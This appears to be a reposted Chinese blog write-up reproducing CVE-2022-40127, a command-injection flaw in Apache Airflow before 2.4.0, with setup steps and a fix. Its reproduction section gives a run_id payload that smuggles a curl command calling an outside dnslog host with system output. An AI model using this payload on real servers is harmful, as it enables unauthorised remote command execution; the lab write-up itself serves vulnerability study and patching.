简单的Apache Airflow(CVE-2022-40127)漏洞复现

Posted kali_Ma

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了简单的Apache Airflow(CVE-2022-40127)漏洞复现相关的知识,希望对你有一定的参考价值。

漏洞描述:

Apache Airflow 是一个可编程,调度和监控的工作流平台,基于有向无环图(DAG),Airflow 可以定义一组有依赖的任务,按照依赖依次执行。该漏洞影响版本Apache Airflow <2.4.0;当攻击者可访问到Apache Airflow的后台,且环境中存在默认Example Dags,则可构造恶意请求借助run_id 执行任意命令。

准备环境:

Ubuntu、apache airflow2.3.4、python3.8mysql5.7.39

一、环境搭建:

1、指定air-flow主目录:

export AIRFLOW_HOME=~/airflow

2、air-flow安装

pip3 install apache-airflow==2.3.4

3、初始化

执行airflow进行初始化:

【一一帮助安全学习,所有资源获取处一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

3、配置文件修改:

(1)初始化后,会在airflow主目录生成airflow.cfg文件:

编辑两个地方:

(A)

#executor = SequentialExecutor 修改为:
executor = LocalExecutor

(B)

#sql_alchemy_conn = sqlite:root/airflow/airflow.db 修改为:
sql_alchemy_conn = mysql://airflowdb:airflowdb123@localhost:3306/airflowdb

(2)修改mysql配置文件my.cnf,在[mysqld]中添加:

explicit_defaults_for_timestamp = true

我直接用的宝塔,在配置里面已经存在:

修改后重启mysql

(3)添加一个名为airflowdb的数据库:

<注意:数据库引擎建议为innodb,否则会报错“Specified key was too long; max key length is 1000 bytes”>

4、数据库初始化

在~/airflow主目录执行:

airflow db init

<注:该处若未安装mysqlclient,将会报错,

ModuleNotFoundError: No module named 'MySQLdb'

因为初始化会写入mysql

mysqlclinet安装:

python3 -m pip install mysqlclien

执行:

正常执行完毕后,会有“Initialization done”字样:

5、配置

创建登录用户:

airflow users create --username admin --firstname admin --lastname admin --role Admin --email admin@lab.com

最后將提示设置密码:

6、启动

(1)server

airflow webserver -p 11888

(2)scheduler:

airflow scheduler

界面:

二、复现:

登录airflow:

设置run_id

在“example_bash_operator”行,点击action项的三角符号,点击“Trigger DAG w/ config”:

进入配置,

在“run id”处输入payload:

"lab":"\\";curl `uname`.****.dnslog.pw;\\""

dnslog处查看结果:

漏洞修复:

官方已发布版本 2.4.3,可升级Apache Airflow版本到2.4.0或以上,或者停用默认 Dags。

以上是关于简单的Apache Airflow(CVE-2022-40127)漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章

使用 Apache 气流存储和访问密码

Airflow 中文文档:数据分析

任务调度工具 Apache Airflow 初识

Apache Atlas 和 Airflow 集成

安装 Apache Airflow 后出错

Apache Airflow单机/分布式环境搭建